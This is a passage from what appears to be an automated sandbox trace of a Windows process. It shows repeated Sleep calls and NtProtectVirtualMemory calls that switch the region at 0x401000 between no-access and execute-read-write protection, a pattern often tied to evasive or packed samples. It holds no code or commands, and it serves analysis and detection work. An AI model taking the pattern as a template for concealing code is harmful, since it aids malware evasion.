BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.043] Sleep (dwMilliseconds=0x5) [0146.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.475] Sleep (dwMilliseconds=0x5) [0146.478] Sleep (dwMilliseconds=0x5) [0146.494] Sleep (dwMilliseconds=0x5) [0146.509] Sleep (dwMilliseconds=0x5) [0146.526] Sleep (dwMilliseconds=0x5) [0146.554] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.555] Sleep (dwMilliseconds=0x5) [0146.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.622] Sleep (dwMilliseconds=0x5) [0146.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.689] Sleep (dwMilliseconds=0x5) [0146.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.698] Sleep (dwMilliseconds=0x5) [0146.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.721] Sleep (dwMilliseconds=0x5) [0146.728] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.728] Sleep (dwMilliseconds=0x5) [0146.743] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.792] Sleep (dwMilliseconds=0x5) [0146.837] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.843] Sleep (dwMilliseconds=0x5) [0146.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.859] Sleep (dwMilliseconds=0x5) [0146.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.889] Sleep (dwMilliseconds=0x5) [0146.899] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.900] Sleep (dwMilliseconds=0x5) [0146.915] Sleep (dwMilliseconds=0x5) [0146.932] Sleep (dwMilliseconds=0x5) [0146.946] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.953] Sleep (dwMilliseconds=0x5) [0146.962] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.965] Sleep (dwMilliseconds=0x5) [0146.977] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.979] Sleep (dwMilliseconds=0x5) [0146.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0146.997] Sleep (dwMilliseconds=0x5) [0147.008] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.011] Sleep (dwMilliseconds=0x5) [0147.025] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.026] Sleep (dwMilliseconds=0x5) [0147.040] Sleep (dwMilliseconds=0x5) [0147.055] Sleep (dwMilliseconds=0x5) [0147.071] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.080] Sleep (dwMilliseconds=0x5) [0147.087] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.090] Sleep (dwMilliseconds=0x5) [0147.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.106] Sleep (dwMilliseconds=0x5) [0147.127] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.129] Sleep (dwMilliseconds=0x5) [0147.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.135] Sleep (dwMilliseconds=0x5) [0147.149] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.151] Sleep (dwMilliseconds=0x5) [0147.165] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.168] Sleep (dwMilliseconds=0x5) [0147.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.182] Sleep (dwMilliseconds=0x5) [0147.196] Sleep (dwMilliseconds=0x5) [0147.212] Sleep (dwMilliseconds=0x5) [0147.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.228] Sleep (dwMilliseconds=0x5) [0147.242] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.251] Sleep (dwMilliseconds=0x5) [0147.262] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.268] Sleep (dwMilliseconds=0x5) [0147.274] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.275] Sleep (dwMilliseconds=0x5) [0147.297] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.298] Sleep (dwMilliseconds=0x5) [0147.305] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.306] Sleep (dwMilliseconds=0x5) [0147.323] Sleep (dwMilliseconds=0x5) [0147.348] Sleep (dwMilliseconds=0x5) [0147.352] Sleep (dwMilliseconds=0x5) [0147.367] Sleep (dwMilliseconds=0x5) [0147.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.388] Sleep (dwMilliseconds=0x5) [0147.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.399] Sleep (dwMilliseconds=0x5) [0147.414] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.421] Sleep (dwMilliseconds=0x5) [0147.430] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.431] Sleep (dwMilliseconds=0x5) [0147.445] Sleep (dwMilliseconds=0x5) [0147.462] Sleep (dwMilliseconds=0x5) [0147.477] Sleep (dwMilliseconds=0x5) [0147.492] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.511] Sleep (dwMilliseconds=0x5) [0147.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.556] Sleep (dwMilliseconds=0x5) [0147.570] Sleep (dwMilliseconds=0x5) [0147.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.606] Sleep (dwMilliseconds=0x5) [0147.617] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.618] Sleep (dwMilliseconds=0x5) [0147.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.639] Sleep (dwMilliseconds=0x5) [0147.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.652] Sleep (dwMilliseconds=0x5) [0147.677] Sleep (dwMilliseconds=0x5) [0147.679] Sleep (dwMilliseconds=0x5) [0147.695] Sleep (dwMilliseconds=0x5) [0147.713] Sleep (dwMilliseconds=0x5) [0147.726] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.736] Sleep (dwMilliseconds=0x5) [0147.742] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.744] Sleep (dwMilliseconds=0x5) [0147.757] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.768] Sleep (dwMilliseconds=0x5) [0147.774] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.776] Sleep (dwMilliseconds=0x5) [0147.788] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.789] Sleep (dwMilliseconds=0x5) [0147.804] Sleep (dwMilliseconds=0x5) [0147.820] Sleep (dwMilliseconds=0x5) [0147.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.855] Sleep (dwMilliseconds=0x5) [0147.867] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.868] Sleep (dwMilliseconds=0x5) [0147.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.923] Sleep (dwMilliseconds=0x5) [0147.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.930] Sleep (dwMilliseconds=0x5) [0147.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.947] Sleep (dwMilliseconds=0x5) [0147.991] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.993] Sleep (dwMilliseconds=0x5) [0148.007] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.009] Sleep (dwMilliseconds=0x5) [0148.023] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.024] Sleep (dwMilliseconds=0x5) [0148.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.040] Sleep (dwMilliseconds=0x5) [0148.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.056] Sleep (dwMilliseconds=0x5) [0148.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.071] Sleep (dwMilliseconds=0x5) [0148.085] Sleep (dwMilliseconds=0x5) [0148.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.104] Sleep (dwMilliseconds=0x5) [0148.171] Sleep (dwMilliseconds=0x5) [0148.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.180] Sleep (dwMilliseconds=0x5) [0148.194] Sleep (dwMilliseconds=0x5) [0148.212] Sleep (dwMilliseconds=0x5) [0148.225] Sleep (dwMilliseconds=0x5) [0148.245] Sleep (dwMilliseconds=0x5) [0148.257] Sleep (dwMilliseconds=0x5) [0148.306] Sleep (dwMilliseconds=0x5) [0148.319] Sleep (dwMilliseconds=0x5) [0148.350] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.351] Sleep (dwMilliseconds=0x5) [0148.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.370] Sleep (dwMilliseconds=0x5) [0148.383] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.384] Sleep (dwMilliseconds=0x5) [0148.516] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.517] Sleep (dwMilliseconds=0x5) [0148.572] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.573] Sleep (dwMilliseconds=0x5) [0148.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.621] Sleep (dwMilliseconds=0x5) [0148.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.691] Sleep (dwMilliseconds=0x5) [0148.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 